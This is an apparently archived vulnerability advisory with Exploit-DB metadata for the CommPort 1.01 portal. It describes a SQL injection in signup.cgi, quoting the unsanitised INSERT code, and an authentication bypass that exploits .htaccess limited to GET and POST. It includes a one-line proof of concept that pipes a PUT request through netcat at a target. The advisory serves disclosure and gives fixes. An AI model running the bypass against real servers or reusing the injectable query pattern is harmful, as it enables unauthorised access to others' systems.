--------------------------------------------
CommPort 1.01 <= SQL Injection Vulnerability
--------------------------------------------
Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
Vendor information:
"A 'Community Portal' generator that can be tailored for any location.
Each user gets a personal portal page to which they can add their own
'channels' or select from a growing list of pre-prepared local, national
and international content. This allows any individual to always have a page
of their own personal favourites in front of them. Channels may be either
'active' with continually updated content such as weather or news headlines
or 'passive' with collections of links."
Vendor URI: http://www.tc.ca/commport/
----------------------------------------------------
Risk-level: High
The application is prone to a SQL injection vulnerability.
----------------------------------------------------
signup.cgi, line 43:
$Method = $ENV{'REQUEST_METHOD'};
$PathInfo = $ENV{'PATH_INFO'};
$Query = new CGI;
if ($Method eq "POST") {
$UN = $Query->param("UN");
$PW1 = $Query->param("PW1");
$PW2 = $Query->param("PW2");
$EMail = $Query->param("EMail");
$FName = $Query->param("FName");
$LName = $Query->param("LName");
$Addr = $Query->param("Addr");
$City = $Query->param("City");
$Prov = $Query->param("Prov");
$PCode = $Query->param("PCode");
$Country = $Query->param("Country");
----------------------------------------------------
signup.cgi, line 226:
$cmd = "insert into User (un,pw,email,fname,lname,address,community,prov,postal,country,Joined) values "
."(\"${UN}\",\"${PWC}\",\"${EMail}\",\"${FName}\",\"${LName}\",\"${Addr}\",\"${City}\",\"${Prov}\",\"${PCode}\",\"${Country}\",now())";
$sth = $dbh->do($cmd) || &DumpError($sth->errstr);
----------------------------------------------------
Solution:
Do some input validation.
----------------------------------------------------
----------------------------------------------------
CommPort 1.01 <= Authentication Bypass Vulnerability
----------------------------------------------------
Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
Vendor information:
"A 'Community Portal' generator that can be tailored for any location.
Each user gets a personal portal page to which they can add their own
'channels' or select from a growing list of pre-prepared local, national
and international content. This allows any individual to always have a page
of their own personal favourites in front of them. Channels may be either
'active' with continually updated content such as weather or news headlines
or 'passive' with collections of links."
Vendor URI: http://www.tc.ca/commport/
----------------------------------------------------
Risk-level: Medium/High
The application is prone to an authentication bypass vulnerability.
----------------------------------------------------
/htdocs/cp/.htaccess:
AuthName "Community Portal"
AuthType Basic
AuthUserFile /home/piwcommport/auth/.commport
<limit GET POST>
require valid-user
</limit>
ErrorDocument 401 /signup.cgi
----------------------------------------------------
/htdocs/cp/admin/.htaccess:
AuthName "Community Portal"
AuthType Basic
AuthUserFile /home/piwcommport/auth/.commport
<limit GET POST>
require valid-user
</limit>
ErrorDocument 401 /signup.cgi
----------------------------------------------------
The application protects specific areas by using base authentication.
Since the authentication is limited to GET and POST, it can be bypassed
by using different or random request types.
----------------------------------------------------
Exploit / Proof Of Concept:
$ perl -e 'print "PUT /cp/admin/ HTTP/1.0\n\n"' | nc [TARGET] 80
-------------------------------------
Solution:
Remove the LIMIT directive from any htaccess file stored in the project directory.
-------------------------------------
{"id": "EDB-ID:20871", "type": "exploitdb", "bulletinFamily": "exploit", "title": "CommPort <= 1.01 - Multiple Vulnerabilities", "description": "CommPort <= 1.01 - Multiple Vulnerabilities. Webapps exploit for php platform", "published": "2012-08-28T00:00:00", "modified": "2012-08-28T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/20871/", "reporter": "Jean Pascal Pereira", "references": [], "cvelist": [], "lastseen": "2016-02-02T15:11:05", "viewCount": 2, "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2016-02-02T15:11:05", "rev": 2}, "dependencies": {"references": [], "modified": "2016-02-02T15:11:05", "rev": 2}, "vulnersScore": 0.3}, "sourceHref": "https://www.exploit-db.com/download/20871/", "sourceData": "--------------------------------------------\r\nCommPort 1.01 <= SQL Injection Vulnerability\r\n--------------------------------------------\r\n\r\nDiscovered by: Jean Pascal Pereira <pereira@secbiz.de>\r\n\r\nVendor information:\r\n\r\n\"A 'Community Portal' generator that can be tailored for any location.\r\nEach user gets a personal portal page to which they can add their own\r\n'channels' or select from a growing list of pre-prepared local, national\r\nand international content. This allows any individual to always have a page\r\nof their own personal favourites in front of them. Channels may be either\r\n'active' with continually updated content such as weather or news headlines\r\nor 'passive' with collections of links.\"\r\n\r\nVendor URI: http://www.tc.ca/commport/\r\n\r\n----------------------------------------------------\r\n\r\nRisk-level: High\r\n\r\nThe application is prone to a SQL injection vulnerability.\r\n\r\n----------------------------------------------------\r\n\r\nsignup.cgi, line 43:\r\n\r\n$Method = $ENV{'REQUEST_METHOD'};\r\n$PathInfo = $ENV{'PATH_INFO'};\r\n\r\n$Query = new CGI;\r\n\r\nif ($Method eq \"POST\") {\r\n $UN = $Query->param(\"UN\");\r\n $PW1 = $Query->param(\"PW1\");\r\n $PW2 = $Query->param(\"PW2\");\r\n $EMail = $Query->param(\"EMail\");\r\n $FName = $Query->param(\"FName\");\r\n $LName = $Query->param(\"LName\");\r\n $Addr = $Query->param(\"Addr\");\r\n $City = $Query->param(\"City\");\r\n $Prov = $Query->param(\"Prov\");\r\n $PCode = $Query->param(\"PCode\");\r\n $Country = $Query->param(\"Country\");\r\n\r\n\r\n----------------------------------------------------\r\n\r\nsignup.cgi, line 226:\r\n\r\n $cmd = \"insert into User (un,pw,email,fname,lname,address,community,prov,postal,country,Joined) values \"\r\n.\"(\\\"${UN}\\\",\\\"${PWC}\\\",\\\"${EMail}\\\",\\\"${FName}\\\",\\\"${LName}\\\",\\\"${Addr}\\\",\\\"${City}\\\",\\\"${Prov}\\\",\\\"${PCode}\\\",\\\"${Country}\\\",now())\";\r\n\r\n $sth = $dbh->do($cmd) || &DumpError($sth->errstr);\r\n\r\n----------------------------------------------------\r\n\r\nSolution:\r\n\r\nDo some input validation.\r\n\r\n----------------------------------------------------\r\n\r\n\r\n----------------------------------------------------\r\nCommPort 1.01 <= Authentication Bypass Vulnerability\r\n----------------------------------------------------\r\n\r\nDiscovered by: Jean Pascal Pereira <pereira@secbiz.de>\r\n\r\nVendor information:\r\n\r\n\"A 'Community Portal' generator that can be tailored for any location.\r\nEach user gets a personal portal page to which they can add their own\r\n'channels' or select from a growing list of pre-prepared local, national\r\nand international content. This allows any individual to always have a page\r\nof their own personal favourites in front of them. Channels may be either\r\n'active' with continually updated content such as weather or news headlines\r\nor 'passive' with collections of links.\"\r\n\r\nVendor URI: http://www.tc.ca/commport/\r\n\r\n----------------------------------------------------\r\n\r\nRisk-level: Medium/High\r\n\r\nThe application is prone to an authentication bypass vulnerability.\r\n\r\n----------------------------------------------------\r\n\r\n/htdocs/cp/.htaccess:\r\n\r\nAuthName \"Community Portal\"\r\nAuthType Basic\r\nAuthUserFile /home/piwcommport/auth/.commport\r\n\r\n<limit GET POST>\r\nrequire valid-user\r\n</limit>\r\n\r\nErrorDocument 401 /signup.cgi\r\n\r\n----------------------------------------------------\r\n\r\n/htdocs/cp/admin/.htaccess:\r\n\r\nAuthName \"Community Portal\"\r\nAuthType Basic\r\nAuthUserFile /home/piwcommport/auth/.commport\r\n\r\n<limit GET POST>\r\nrequire valid-user\r\n</limit>\r\n\r\nErrorDocument 401 /signup.cgi\r\n\r\n----------------------------------------------------\r\n\r\nThe application protects specific areas by using base authentication.\r\n\r\nSince the authentication is limited to GET and POST, it can be bypassed\r\nby using different or random request types.\r\n\r\n----------------------------------------------------\r\n\r\nExploit / Proof Of Concept:\r\n\r\n$ perl -e 'print \"PUT /cp/admin/ HTTP/1.0\\n\\n\"' | nc [TARGET] 80\r\n\r\n-------------------------------------\r\n\r\nSolution:\r\n\r\nRemove the LIMIT directive from any htaccess file stored in the project directory.\r\n\r\n-------------------------------------", "osvdbidlist": ["85936"]}